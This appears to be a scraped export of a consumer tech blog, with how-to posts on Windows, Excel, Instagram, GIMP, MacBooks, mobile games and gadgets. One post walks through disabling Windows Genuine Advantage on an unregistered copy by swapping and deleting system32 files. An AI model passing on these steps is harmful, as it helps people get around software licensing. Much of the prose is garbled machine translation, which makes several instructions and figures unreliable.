gas R410A safe for human health. Some Casper series air conditioners have an automatic error function and a fan mode that allows the air conditioner to blow as far as 15m. Defect\nCasper air conditioners are limited in design and design. There is no remote control application like some other types of air conditioner on the market. Review Funiki air conditioner   \nAdvantages\nThe outstanding advantage of Funiki air conditioner is cheap price, stable quality. Funiki air conditioner has the ability to cool very fast in just 20 minutes. Funiki has the function of automatically reversing up and down from the cave, ensuring a uniform distribution of wind throughout the room. The filter of Funiki air conditioner is capable of filtering dust, pollen of small size, eliminating the smell of smoke and anti-mold. Defect\nFuniki air conditioner does not have Inverter technology. Not yet integrated with many technologies and smart features. Funiki air conditioner has traditional design, not many designs. Should buy Gree, Caser or Funiki air conditioner? Overall, all three brands are in the low-cost segment, so are suitable for most average users. However, the price of Gree and Casper air conditioner is a bit higher than that of Funiki air conditioner. If you want to buy air conditioner with modern features, integrated smart technology, you should choose Gree or Casper air conditioner. If you are not too important about the design, the features, the technology is integrated, you can choose Funiki air conditioner.\nAbove are the comparisons and reviews of three brands of air conditioners Gree, Casper and Funiki. Hopefully, the information we have just shared will help you choose the best air conditioner product for your family. Thank you for your interest in the article!\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWXp7KmecKaqqmdomKur7CMn6ynoZueeqK10WaaqKaUnsGqu82eqaw%3D\n","link":"/post/compare-gree-casper-and-funiki-air-conditioners/","section":"post","tags":null,"title":"Compare Gree, Casper and Funiki air conditioners"},{"body":"In Windows 10, there are two power types for the PC: S3 and Modern Standby (S0 Low Power Idle) . The S3 power model is an older standard and is unlikely to respond as quickly as consumers would expect from modern devices.\nModern Standby can take advantage of all the capabilities of a modern chipset and is integrated on a wide range of tablets and PCs today. The first version of Modern Standby was the Connected Standby, which first appeared in Windows 8 and Windows 8.1. Modern Standby expands on the Windows 8.x Connected Standby concept, allowing more flexibility in component selection.\nNote:\nYou cannot switch between S3 and Modern Standby by changing the setting in BIOS. Switching the source type is not supported in Windows 10, without a complete reinstallation of the operating system.\nModern Standby by Windows 10 Windows 10 Modern Standby extends Windows 8.1's Connected Standby source model. Connected Standby, and now Modern Standby, allows users to turn on / off instantly, similar to smartphone models. Just like with phones, Modern Standby allows the system to stay updated whenever there is a suitable network available.\nWhile Modern Standby allows users to turn on / off instantly like Connected Standby, Modern Standby includes a lot more than Windows 8.1 Connected Standby power type of Windows 8.1. Modern Standby allows market segments previously limited to the S3 source model to take advantage of the Low Power Idle (LPI) model. Typical examples include systems SSD + HDD or SSHD and / or NIC, which do not support all of the previous requirements for the Connected Standby.\n  The figure above illustrates the relationship between all models and how the Connected Standby can be considered a special case of Modern Standby in Windows 10, as a connected state.\nModern Standby system can be connected or disconnected to WiFi or wireless local area network (WLAN) while in standby. This behavior is determined by the hardware and / or by the configuration.\nOn any Modern Standby system (connected or disconnected), the system remains in S0 state while in standby mode, allowing the following scenarios to work:\nBackground activity Continue faster from a low energy state On systems connected while on standby, the operating system can also set wake-up modes based on specific network types, to allow applications to receive the latest content such as incoming email, VoIP calls. or news articles.\nThe connected Modern Standby will let you stay connected to the WiFi while in standby mode to still receive email notifications, VoIP calls, etc. but will use more battery power.\nModern Standby disconnecting will allow for longer battery life, but you will no longer benefit from staying connected to the WiFi while on standby.\nThis guide will show you how to check if Modern Standby is connected or disconnected from WiFi while in standby mode in Windows 10.\nHow to check if Modern Standby is connected or disconnected in Windows 10 Here's how to do it:\nStep 1. Open Command Prompt.\nStep 2. Type powercfg -a into Command Prompt and press Enter.\nStep 3. If you see Standby (S0 Low Power Idle) Network Connected , then Modern Standby is now set to stay connected to WiFi while in standby mode.\n  If you see Standby (S0 Low Power Idle) Network Disconnected , Modern Standby is now set to disconnect from WiFi while in standby mode.\n  Modern Standby ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecifZKanlJq%2Fr3nSrZinnJKueqq%2FjJymp6aVmMGmsIyoqWacmaiwsLrNnpqtnZRitq951qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-check-if-modern-standby-is-connected-or-disconnected-in-windows-10/","section":"post","tags":null,"title":"How to check if Modern Standby is connected or disconnected in Windows 10"},{"body":"Current social networks have the option of linking together to synchronize content. We can link Instagram with personal Facebook very easily. So if you want to connect Facebook Fanpage with Instagram, how to do?\nRight in the Facebook Fanpage also has the option of adding Instagram accounts to link, Then the posted content will be synchronized. This is handy when administrators want to share posts to Instagram without having to log in directly. Especially when managing Instagram accounts from Fanpage through Creator Studio, users will have more post scheduling features such as the timer for posting on Fanpage. The following article will guide you how to connect your Instagram account with Facebook Fanpage.\nHow to link Instagram with Facebook How to unlink Instagram and Facebook How to fix Instagram photo sharing error on Facebook How to link Facebook to Twitter and vice versa Instructions to connect Facebook Fanpage with Instagram Step 1:\nWe access the Facebook Creator Studio link by following the link below.\nhttps://www.facebook.com/creatorstudio  First of all you need to choose the Facebook Fanpage you want to link , if we manage multiple Fanpage. Click All pages and then select the Page you want to link . Click View to continue.\n  At this interface we click on the Instagram icon at the top.\n  Step 2:\nSwitch to the new interface, users click on the section Connect your account .\n  At this time showing the message when linking Fanpage to Instagram, the members of the manager can also manage a part of Instagram. Click OK to continue.\n  Step 3:\nAt this time display interface Instagram account information . We fill in the content, then click Login below.\n  At this time, the Facebook interface will display a notice of conditions to connect the Facebook Fanpage account with Instagram that is creating a business or creative account on Instagram.\n  Step 4:\nYou access the Instagram application and then select the icon 3 dashes , select Settings . At this time, the interface of setting items, click Account .\nIn the new interface we click on the switch to the work account .\nNext we are asked what type of account is right for you, the Creator account for public or Business people. Click Next below. You will then see the contents of creating a business account, click Continue . Select the category for business page and click Next .\nStep 5:\nAs a result, we will see the Facebook Fanpage name is linked to Instagram , click the Next button below. This time display contact information about the business . Add your business address if you want and then press Next below. Finally press Done to complete.\nStep 6:\nNow go back to Facebook Creator Studio and proceed to relink to see that the Instagram account has been linked to the Facebook Fanpage. From this interface, users can post on Instagram and simultaneously on Fanpage. At the interface we click the Create article button and select Instagram Message Board .\n  Step 7:\nShowing interface for posting to Instagram. First we will enter the post content with hashtag and location to post to Instagram.\n  Next down, users can add photos available on the device or in Facebook. If you want to post on Fanpage then select the Fanpage name below.\n  Images posted from the interface can be edited by cropping. Click the 3-dot icon at the bottom of the image and select Cut .\n  The interface for cutting images is only 3 modes: square cut, Lanscape horizontally and Vertical vertical. Users will use one of these 3 types of cropping to adjust the image if desired. Click Save below if there are changes.\n  Step 8:\nFinally, we click on the triangle icon at the Post button if we want to schedule posts for Instagram and Fanpage. If you want to post, then click the Post now button .\n  The user result will see the post posted to the Facebook Fanpage.\n  The post also posted to Instagram as shown below.\nSo we have linked Facebook Fanpage with Instagram, post articles on Instagram from the Facebook interface. With this link option, users have a lot of settings for Instagram posts, especially for appointment to post Instagram posts.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSZo7hussCcnJunn6B6p63NqZignV2strW0jKKlrKyRnL%2BiuQ%3D%3D\n","link":"/post/how-to-link-facebook-fanpage-with-instagram/","section":"post","tags":null,"title":"How to link Facebook Fanpage with Instagram"},{"body":" This wikiHow teaches you how to remove zeros from the beginning (Leading) or end (Trailing) of numbers in Excel. Highlight the cells with leading zeros. If you're working with numbers in a column, you can highlight the whole column by...\nMethod 1of 2:\nRemoving Leading Zeros Highlight the cells with leading zeros. If you're working with numbers in a column, you can highlight the whole column by clicking the column letter.\n  Right-click the highlighted cells. If your computer doesn't have a right mouse button, press Ctrl as you click with the left. A menu will appear.\n  Click Format Cells. The Format Cells dialog will appear.\n  Select Number from the left column.\n  Type a '0' (zero) into the 'Decimal Places' box.\n  Click OK. It's at the bottom-right corner of the screen. This brings you back to your spreadsheet, where you should no longer see zeros before your numbers. If you still see leading zeros, double-click the cells, then press ↵ Enter or ⏎ Return.  Method 2of 2:\nRemoving Trailing Zeros  Highlight the cells with trailing zeros. If you're working with numbers in a column, you can highlight the whole column by clicking the column letter.\n  Right-click the highlighted cells. If your computer doesn't have a right mouse button, press Ctrl as you click with the left. A menu will appear.\n  Click Format Cells. The Format Cells dialog will appear.\n  Select Custom from the left column.\n  Type a code into the box under 'Type.' If any text is in the box, delete it now. Then, type 0.### into the box.\n  Click OK. You will no longer see extraneous zeros at the ends of your numbers.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYylnJqcmaO0brvRZqurmZmhtq%2BzjLOcq6ejYravecSxmp6k\n","link":"/post/how-to-remove-leading-or-trailing-zeros-in-excel/","section":"post","tags":null,"title":"How to Remove Leading or Trailing Zeros in Excel"},{"body":" This wikiHow teaches you how to remove the Windows validation notifications that you see when using an unregistered copy of Windows. The easiest (and most legal) way of doing this involves activating your copy of Windows from within...\nMethod 3of 3:\nDisabling Genuine Advantage in Windows 7  Open Start   . Click the Windows logo in the bottom-left corner of the screen.   Click the search bar. It's at the bottom of the Start window.\n  Type in task manager. This will search your computer for the Task Manager application.\n  Click Task Manager. It's at the top of the Start window.\n  Open the Run window. Press ⊞ Win+R at the same time to do so. If this doesn't work, re-open Start, type in run, and click Run.   Type in system32. System32 is a folder that contains many of your computer's sensitive files.\n  Click OK. It's at the bottom of the Run window. This will open the system32 folder.\n  Enable viewing for hidden files and file extensions. To do so: Click the View tab. Check the \"Hidden items\" box. Check the \"File name extensions\" box.   Find the \"WgaLogon.dll\" file. The easiest way to do this is by typing wga into the search bar that's in the upper-right side of the window and then waiting for the \"WgaLogon.dll\" file to appear.\n  Rename the \"WgaLogon.dll\" file. Right-click the file, click Rename, and type .bak at the end of the file name and extension, then press ↵ Enter. The file should now read \"WgaLogon.dll.bak\" instead. You may be prompted to confirm this choice. If so, click Yes or OK.   Create an empty copy of the \"WgaLogon.dll\" file. To do so: Right click on a blank space in the system32 window. Select New Click Text Document Type in WgaLogon as the file's name. Replace the .txt with .dll Press ↵ Enter, then click Yes if prompted.   Find the \"WgaTray.exe\" file in both system32 and Task Manager. Since you'll need to delete both entries within 5 seconds of each other, you'll want to find them now. To do so: system32 - You should see \"WgaTray.exe\" in the window if \"wga\" is still typed into the search bar. Task Manager - Click the Processes tab, scroll down until you find the \"WgaTray.exe\" option, and click it.   Delete both \"WgaTray.exe\" files. Select the system32 \"WgaTray.exe\" file and press the Del key, then switch to Task Manager and click End process or End task in the lower-right corner of the window.\n  Restart your computer when finished. Once your computer finishes rebooting, your Genuine Advantage notifications should be gone. You may have to repeat this process at some point, since Genuine Advantage notifications often return with critical updates.   Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYywoKecn6zAbrPEp6yippVirqXCwKermp%2BVYruwwMifoJyZpJ68r78%3D\n","link":"/post/how-to-remove-windows-genuine-advantage-notifications/","section":"post","tags":null,"title":"How to Remove Windows Genuine Advantage Notifications"},{"body":"With Apple ProRAW available on iPhone, you can experience this feature while still using other intelligent functions of the app.\nWhat is Apple ProRAW? Smartphones like the iPhone use a photography algorithm to improve the quality of photos. Apple has built-in Smart HDR, Deep Fusion and Night Mode to capture sharper and high-resolution photos in low-light conditions.\nHowever, you cannot shoot a RAW photo entirely and still use Apple's smart technology. You can shoot RAW images on iPhone, but it won't use any algorithms to improve the photo before it is taken. But with ProRAW, you'll have a photo that both has the HEIC or JPG standard of your iPhone, and has a RAW file containing the record the sensor just took.\nProRAW is a product of Apple, in RAW format. When taking pictures, the end result will be a 12-bit RAW DNG file with 14 stops of dynamic range. This means you can take full advantage of your iPhone's photography algorithms and still edit your photos in true quality.\nCurrently, the iPhone 12 Pro and 12 Pro Max are the only two devices that support ProRAW. This feature is only available on iOS 14.3 and up. Apple will expand ProRAW support on new devices in the future.\nHow to enable ProRAW on iPhone You must have the ProRAW feature enabled before you can use it. Go to Settings before opening the Camera app.\n  Use Spotlight search on iPhone if you don't see the Settings app on the home screen.\nNext, scroll down and select Camera.\n  In the Camera app's settings page, you can adjust the video's frame rate, add a grid, and more.\nSelect Formats at the top of the screen.\n  Finally, turn on Apple ProRAW.\n  Photos taken in ProRAW mode will take up more space than standard photos. If you do not intend to do too much photo editing, do not use the DNG format, especially when the device is running out of space.\nHow to take RAW photos in the app When the ProRAW feature is activated, open the Camera app on your iPhone. If not, use Spotlight as above.\n  Next, to make sure you are in the correct mode, click on the RAW icon in the upper right corner of the screen.\nWhen this RAW icon is displayed, the photo will be taken in Apple ProRAW mode. Go ahead and press the shutter button as usual.\n  In the gallery, pictures taken in ProRAW mode will be labeled RAW at the top.\n  In third-party photo galleries like Google Photos, no icons appear. You have to go to the image info section and look for the DNG extension files.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJuvMicq66qlah6qrqMqamoqpGseq67w55kqKZdnr2pu82e\n","link":"/post/how-to-take-pictures-in-proraw-mode-on-iphone/","section":"post","tags":null,"title":"How to take pictures in ProRAW mode on iPhone"},{"body":"Backing up data on the computer is essential so that we can get all the important data back on the computer. By default, Windows also has the File History tool available to backup and restore, but many people still choose to use some additional backup software.\nIperius Backup Free software supports backing up many types of data on the computer from images, image folders, file system to SQL, Oracle, MySQL, PostgreSQL databases. The backup file can then be stored in the cloud service depending on the user. The following article will guide you how to use Iperius Backup Free to back up data.\nInstructions to backup data by Iperius Backup Free Step 1:\u0026nbsp; Users click on the link below to download the Iperius Backup Free software and install as usual. Below is the main interface of the software.\nDownload software Iperius Backup Free here\nClick Create new back or the file icon with a plus sign in the leftmost corner to add the file you want to create a backup copy of.\n  Step 2:\u0026nbsp; Switch to iTems interface , select the data you want to backup by clicking Add file\u0026gt; Select and then select the type of data you want to backup. Finally click Next to execute.\n  Step 3:\u0026nbsp; Switch to Destinations to choose where to save the restored backup file and click Next. Click the icon of the folder with the plus sign to add.\n  Step 4:\u0026nbsp; Schedule Scheduling to back up from time to time, by ticking Run backup automatically using the following scheduling and then setting the execution time.\nUnder Options is the option to enter someone's email if you do it for someone else. Finally in the Summary section we name the backup file and click OK to execute.\n  Step 5:\u0026nbsp; When the backup file is created, you will see the Home section in * .ibj format . To save this file , click the file on the file, choose Export and then choose a destination.\n  Step 6:\u0026nbsp; To restore the data , right-click the backup file and select Run backup\u0026gt; Yes . When completed, the message Backup completed successfully will appear and open the folder to choose the backup location earlier.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqvMSroK6rXZeupLfUqWSfqpWaerW7jJuYnKNdqr1uw8inm6ivo2KxosDA\n","link":"/post/how-to-use-iperius-backup-free-to-back-up-windows-data/","section":"post","tags":null,"title":"How to use Iperius Backup Free to back up Windows data"},{"body":"GIMP photo editing application provides a powerful set of tools to work with layers in graphic files. The tools are grouped together in the Layers Palette, including thumbnails of each layer in order in the image. You can open the Layers Palette in a separate window or combine with another palette and switch back and forth with tabs. The Layers Palette allows designers to build images with different and separate elements.\nOpen new palette 1. Click the \"Windows\" menu .\n2. Select the \"Dockable Dialogs\" option.\n3. Select \"Layers\".\n  \nAdd the Layers tab 1. Click the arrow near the top of the existing palette.\n2. Select the \"Add tab\" option.\n3. Select \"Layers\" and the Layers tab will appear at the top of the window next to the tab for the original palette.\nTip : The palettes may appear in a separate window or as a control panel in the main window. Click \"Single-Window Mode\" from the Windows menu to switch the display method.\nNote : The information in this article applies to GIMP 2.8 and may change more or less in other versions.\nHow to use Layers Palette in GIMP The first tool is the drop-down menu that controls the mode of the layers. It affects how a layer interacts with layers that appear below in stacking order. There are a variety of options that can create extremely different effects and graphic designers using Layers in GIMP should take the time to test these different options.\n  Below that is the Opacity slider , which is used to control whether the underlying layers can be seen through the upper layers. The Lock button below the slider is used to make all transparent pixels in a layer remain transparent even when the Paint Brush is applied, useful for changing the color of a part of the image without doing it. change the shape of other parts.\nThe main part of the Layers Palette is the layers. The Layers Palette shows the current sort order of all layers in an image, and the order of this layer can be changed by clicking on a layer and dragging it up or down in the palette. The order can also be changed by selecting a layer and clicking the arrow button in the bottom bar of the palette.\nA layer can be hidden by clicking on the eye icon, which appears to the left of each layer. The layer will show again if clicked on this icon again. The right button of the eye icon can be used to link two or more layers together, so that if a layer is moved or shrunk, the linked layers also move or change the proportion corresponding to first layer. A new layer can be added to the Layers Palette by clicking on the button to the left of the bottom bar.\nThe fourth button from the left can be used to duplicate a layer. When a new element is pasted into the image, it can be merged with an existing layer, by clicking on the anchor button or manually assigning a new layer by clicking on the New Layer button as above.\nThe final control option in the Layers Palette is the Trash Can button , which is used to delete a selected layer. The Layers Palette provides designers with a variety of features to make the image more interesting and outstanding. Spending a lot of time experimenting with these options will yield surprising results.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuuMCynKurXaWurbHTrZxmoZ5itKq5zw%3D%3D\n","link":"/post/learn-about-layers-palette-in-gimp/","section":"post","tags":null,"title":"Learn about Layers Palette in GIMP"},{"body":"The browser developer from Norway is Opera recently launched Opera Mail email management application as a standalone application for PC devices.\n  \nOpera said the advantage of Opera Mail application is that it is quite gentle, focusing on a single task to help users manage email more easily.\nSome notable features on Opera Mail are: Card interface, lets you view multiple emails at once, as well as switch between emails quickly. Thread: The view makes it easy to \"follow\" the messages you care about. You can choose Ignore Thread to unsubscribe the topic if you feel you are no longer related to that content. Filtering and labeling: Opera Mail uses automatic filters and labels. You can set all mail to be automatically labeled or automatically filtered according to the rules set by you. Windows users can now download and experience Opera Mail here .\nncG1vNJzZmismaXArq3KnmWcp51kvLGx0Zpkoqakp7ylwcKeqmanoJq%2FonnMmqClZZWirqq4jKaYp5mXmrqmutNmmKmonJ6wosDIqKU%3D\n","link":"/post/opera-introduces-opera-mail-email-management-application/","section":"post","tags":null,"title":"Opera introduces Opera Mail email management application"},{"body":"Appearing earlier this month in China, Lenovo Ideapad U150 was officially sold internationally, first in Japan for $ 792.\nLenovo Ideapad U150 11.6 inch ultraportable laptop is highly appreciated for innovative and fancy machine design thanks to its outstanding color case, beautiful decoration with interlocking, interlocking motifs spread across the machine face. and hand cushions around the keyboard.\n The Lenovo Ideapad U150 is highly appreciated for design. Photo: Netbooked. Ideapad U150 uses 11.6-inch mirror screen, resolution of 1366 x 768 pixels, equipped with Intel CULV SU2300 1.2 GHz processor, 2 GB RAM, 250 GB HDD, Intel GMA 4500MHD integrated graphics chip, support Support 802.11b / g / n Wi-Fi connections, Bluetooth 2.1, besides multi-touch touchpad, 6-cell battery with 7 hours duration.Machine weighing about 1.4 kg, average thickness of 2 cm.\n Ideapad U150 is being sold in Japan for $ 799. Photo: Netbooked. According to Netbooked, Ideapad U150 has 2 RAM slots with maximum capacity of 8 GB, and left over PCI express expansion slot.Currently, Lenovo Ideapad has been sold in Japan for 72,800 yen, equivalent to 792 USD and preinstalled with Windows 7 Home Premium operating system.And in the US, Ideapad U150 will also be released today with a selling price of 585 USD or more.\nIn the Vietnamese market, the new Lenovo Ideapad U-series has appeared 13.3-inch Ideapad U350 version for $ 799.\nWatch the video to open the Ideapad U150 box.\nWatch the video opening of the Ideapad U150 box:\n[youtube] http://www.youtube.com/watch?v=d1-Epdslmfc [/ youtube]\nncG1vNJzZmismaXArq3KnmWcp51kwKaxjKinnqaZo7RuwMeeZKWdnqTDsHnInZyaqJGZerZ9lGlkm6eo\n","link":"/post/see-opening-the-lenovo-ideapad-u150-box/","section":"post","tags":null,"title":"See opening the Lenovo Ideapad U150 box"},{"body":"There are many tips that can help your MacBook avoid overheating.\nWhy is the MacBook so hot? There are many possible causes for a MacBook's overheating, from hardware to software. Some problems seem to be common on other computers, but the MacBook has a lot more trouble solving them.\nMacBook Air from 2019 is very susceptible to overheating problems. It seems that this problem comes from the compact design, only a heat sink on the hinge side of the screen, making it difficult for the air in the machine to circulate.\nThe heat sink on the new MacBook Air is designed by Apple very modest Heavy tasks such as rendering videos, playing games, or opening multiple web browsers at the same time make the processor on the Mac overload. At this time, heat only escapes in a single way. Perhaps Apple didn't design the MacBook Air to perform too many heavy tasks on the machine.\n1. Change the location of the machine Calling a laptop, but putting on a lap is not the most ideal way. Place your MacBook on a hard, flat surface like a desk top, so that it does not cover the heat sink of the laptop.\nDo not put the MacBook on your lap Soft surfaces such as pillows or blankets will cause the heat to rise very quickly and also absorb lots of cloth dust. They make the heat dissipation ability on MacBook decrease. You should also avoid using your MacBook in direct sunlight for the same reason. The ideal temperature for using the device is between 10 and 35 degrees Celsius.\n2. Turn off unnecessary software If you have no problems placing your device, your MacBook is probably overheating because you are performing too many tasks at once. To find out exactly go to the Utilities folder , select Activity Monitor (or use Spotlight , press Cmd + Space ).\nOpen Activity Monitor to see which programs are taking up the most CPU In the Activity Monitor, go to the CPU tab and click on the% CPU column to filter the active processes, based on the percentage shown on them.\nHere, you will see that some software makes up more than 90% of the CPU even though they do not work as much. Sometimes this happens when the application is unexpectedly shut down or improperly shut down. You can fix this by selecting the running process and forcing it to stop using the Stop button (X) in the left corner.\nYou can also reduce the number of applications that are turned on when you turn on the device. Click on the Apple logo , select System Preferences\u0026gt; Users \u0026amp; Groups , then select your account and open the Login Items tab to remove some applications.\n3. Update macOS and reset SMC If none of the applications are causing the MacBook to overheat, you may be having software problems. Usually just updating the device's operating system to the latest version can solve the problem.\nClick on the Apple logo , select System Preferences\u0026gt; Software Update to check for the latest version of macOS. Download and install if your device is compatible with this operating system version. Or turn on automatic software update for Mac.\nUpdate the software for regular machines Another way to solve the problem of overheating MacBook is to reset the SMC (System Management Controller) on the computer. It will address several issues related to cooling fans on MacBooks.\n4. Run a diagnosis on the cooling fan If none of the above fixes the problem, try checking the fan on the heatsink.\nThe MacBook has a built-in diagnostic software. If your machine is from MacBook Air 2013 or earlier, use Apple Hardware Test, recent models use Apple Diagnostics.\nRun the computer hardware test Both of these software are very easy to access and use:\nTurn off the device and plug in the charger. Press the Power button to restart the device, then press and hold D. Select the language (if available) and follow the on-screen diagnostic steps. On newer MacBook models, Apple Diagnostics will automatically check. Older devices using the Apple Hardware Test will give you the choice of either Basic or Thorough test.\nAfter completing the check, the machine will report information and errors (if any).\n5. Clean the machine As a last resort, clean your MacBook regularly. The dirt that covers the heat sink can also cause the device to overheat, sometimes even causing quite a heavy damage to the hardware of the machine.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWWnsVuu9WeqaGdkam2r7OMppicmp%2BkuA%3D%3D\n","link":"/post/tips-to-fix-overheating-macbook/","section":"post","tags":null,"title":"Tips to fix overheating MacBook"},{"body":"Do not waste any day waiting, finally part 9 of the Asphalt racing game series with the name Asphalt 9: Legends was officially released worldwide. Accordingly, fans of this popular racing game can download it for free via Google Play and AppStore easily, or you can download Asphalt 9: Legends on the computer to experience.\nHow to download Asphalt 9 is not a difficult problem anymore, what many gamers care about now is how to play good game Asphalt 9. If you also want to win on every track, do not ignore the tips Play Asphalt 9 below.\nTop 20+ best racing games for Android and iOS 2018 Have you tried the game Whistle to overcome causing fever in the online community yet? Download Microsoft's completely new free racing game, just play with the mouse, no keyboard needed 1. Know how to control\nYou only need to focus on the 2 things that are the crab and nitro pump, the car will automatically run, turn and speed up. For short bends you press the left button to hold the crab, press and hold to hold the crab in more tight turns. The right button allows you to pump nitro at the right time and accelerate, hugging the crab as much as possible, so your nitro will recover faster.\n  2. Hold 360 degrees\nAs mentioned above, hugging crabs can restore nitro tanks, especially 360 degree cornering will help you regain nearly 40% of nitro flasks. Using this tip, you only need to press 2 times in a row on the left button, but it has a drawback that the car can slow down a bit and you are easily overtaken by our rotation. , so if you have 360 ​​degrees, be careful.\n  3. Collect nitro pots as much as possible\nThe key to winning a race is Nitro, so you need to try to store as much nitro as possible, collect nitro flasks on your way whenever you get a chance, except in the case of Nitro pots are too far away.\n  4. Perfect nitro pump\nIn racing game Asphalt 9 has two types of nitro which are normal nitro and perfect nitro. To activate normal nitro, press the right button, and the perfect nitro activates by pressing the nitro pump 1 time, then wait for the purple energy bar to appear, press nitro one more time, right now will successfully activate.\n  5. Do the task\nYou will be given additional tasks after each racing game, if you complete as many tasks in the game, you will own tokens, it helps you buy accessories or earn more powerful motor vehicles and more beautiful.\n  6. Open the gift package\nEven if the value is not high, these gift packages also bring great benefits, it helps you get new car drawings, even money or tokens, to buy items.\n  7. Race back to the old game screen\nRepeating a few quests can earn you some gold, items to use in the game, because the bonus amount will not be enough for you to upgrade the car and win the next race because The difficulty of the gameplay is increasing.\n  Above are some tips to play Asphalt 9 to always win, please refer and apply immediately offline!\nSee more:\nMistakes in PUBG make you 'slip' Top 1 PlayerUnknown's Battlegrounds keyboard shortcut How to fix bugs playing 4K Empire jerks, lag ncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWgoa66ecCsp6GZnKl6ennLnp6eppSoerW7jLCgpw%3D%3D\n","link":"/post/tips-to-play-asphalt-9-legends-to-win/","section":"post","tags":null,"title":"Tips to play Asphalt 9: Legends to win"},{"body":"In typical survival shooters like Free Fire, weapon accuracy plays an important role, deciding the player's victory or defeat. The higher the accuracy of the weapon, the more accurately the ability to aim the intended target.\n5. CG15\nCG15 is the perfect combination of the SMG and Rifle. It is also one of the most accurate weapons in Free Fire, with a range of 71, close to the level of a rifle, much higher than the other SMGs in the game with a range of only 40, or even. lower.\n  CG15's accuracy is 60, ideal for aiming and shooting down targets from afar.\n4. Woodpecker\nWoodpecker is the latest weapon added to the Free Fire arsenal. This weapon has extremely high stats, including a damage index of 85 and an armor penetration index of 75, the accuracy is also \"super high\", at 69, higher than other automatic snipers in game.\n  3. VSS rifle\nVSS is one of the best sniper rifles in Free Fire, equipped with Scope scope, with a range of 82, with a precision of 73, which can be used to snipe on par with other ARs.\n  2. Gatling\nGatling is a \"monster\" in the gun village and is only available in the special game Spray and Pray in Free Fire. With a magazine capacity of up to 1,200 bullets plus a fast fire rate and great accuracy of 79, when using this weapon, players do not need to move too much.\n  1. All Sniper Rifles, Launchers and Crossbow Crossbows\nAll Sniper Rifles as well as other special weapons like the Launcher and Crossbow crossbows have the highest accuracy in Free Fire, with an accuracy of 90.\n  However, the biggest disadvantage of these weapons is that the ice capacity is low and the \"super\" fire rate is slow, the ability to damage is also lower.\nAbove, Taimienphi.vn has given you the list of weapons with the highest accuracy in Free Fire.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5ksJ2Rpbyvv4ywoK2gXam1pnnHop6hnaOpeqKvwq6pmpupYravecWrnJ5llp6%2Fpg%3D%3D\n","link":"/post/top-5-weapons-with-the-highest-accuracy-in-free-fire/","section":"post","tags":null,"title":"Top 5 weapons with the highest accuracy in Free Fire"},{"body":"Most users when choosing and using the phone pay attention to the configuration and software, not knowing the charging time of the device.\nTherefore, Tom's Guide has done a test to check the charging speed of high-end smartphones today. They will see the battery life of high-end smartphones like the OnePlus 5T, LG V30 or iPhone X when starting charging from 0% after 30 and 60 minutes of charging.\nThe results were quite unexpected, the OnePlus 5T with a 3,300 mAh battery led the way with 59% of battery after 30 minutes of charging and only after an hour reached 93%. In today's smartphones, OnePlus 5T is the product with the fastest charging speed although it is quite cheap ($ 499) compared to the common ground of high-end smartphones.\n  Rechargeable battery life of smartphones after 30 minutes and an hour.(Photo: Tom's guide.)\nSecond place is LG V30 with a 3,300 mAh battery, reaching 53% of battery after half an hour and 86% after just an hour.\nThe next 3 locations are all Apple products iPhone X, iPhone 8, iPhone 8 Plus with battery life of 81, 80, 79% after an hour of charging. But with the new iPhone for fast charging must have external accessories or users will take a lot of time to fully charge. Specifically, iPhone 8 after 30 minutes will only get 30% of the battery, after one hour will fully charge 58%.\n Rechargeable battery life of iPhones if there is no external accessory after 30 minutes and an hour.\nThe Galaxy Note 8 and Google Pixel 2. 2 are at the bottom of the list with charging speeds of 35 to 38% battery after 30 minutes and about 75% for an hour of charging.\nSee more:\nTurn on airplane mode when charging the smartphone battery for faster charging, really works? Quick charging way iPhone X How to charge iPhone X twice as fast? If there is only 5 minutes left to charge the Iphone, how will you get the most battery? ncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFkrKWRp8GxtM6nnGagkah6tbTEZp2aq6SawLV5wqGYq5%2BZo7Ruv8%2BenJ1lpKSxosU%3D\n","link":"/post/which-smartphone-has-the-fastest-charging-speed-today/","section":"post","tags":null,"title":"Which smartphone has the fastest charging speed today?"},{"body":"In 2016, Instagram introduced the Stories feature, inspired by Snapchat. As of 2018, Instagram has twice the number of daily users compared to Snapchat. All thanks to the user-friendly interface and regular updates of interesting features. Check out the hidden features of Instagram Stories to help you upgrade your story.\n15 tips for Instagram Stories you may not know yet 1. Use the built-in portrait mode 2. Use selfie photo as sticker 3. Share Story Highlight (featured news) 4. Add multiple photos and videos at once 5. Post the story longer than 15 seconds 6. Create a colored background for the story 7. Add interactive sticker 8. Blur the background 9. Change the pen size 10. Use full color gamut 11. Delete the date from the old photo 12. Share the post on the story 13. Regram story 14. Hide someone's story on News feed 15. Receive notifications when someone posts a story 1. Use the built-in portrait mode Today, most smartphones have portrait mode, a feature that blurs the background of a photo to focus on objects or people, making it feel like shooting with a high-end DSLR camera. However, if your phone does not have this feature, you do not need to worry because Instagram has now integrated portrait mode called Focus .\n   To use this feature, touch the camera icon in the top left corner of the Instagram app. Then on the Story screen, swipe left through the modes until you see Focus mode.\n2. Use selfie photo as sticker Sometimes you want to use selfie as a sticker to add a lively response to your story. To do this, follow these steps:\nStep 1 . Open Story mode and take a new photo or download an existing photo.\nStep 2 . On the Edit screen, tap the Sticker icon, then touch the camera sticker.\n   Step 3 . You will see a small camera interface open, tap it to take a selfie, then touch it again to select different modes.\n  3. Share Story Highlight (featured news) Now you can share the outstanding news created from archives with friends using Instagram as well as those who don't use this social network.\n   To make the news stand out, open the Instagram profile with the featured content you want to share, then keep that featured message and from the menu that appears, select Send to if you want to share via Instagram DM (Direct Message - Direct message) or Copy Link if you want to share on other applications, then paste the copied link to the place you want to share.\n4. Add multiple photos and videos at once Previously, to download multiple photos or videos, you had to repeat the steps for each file individually. 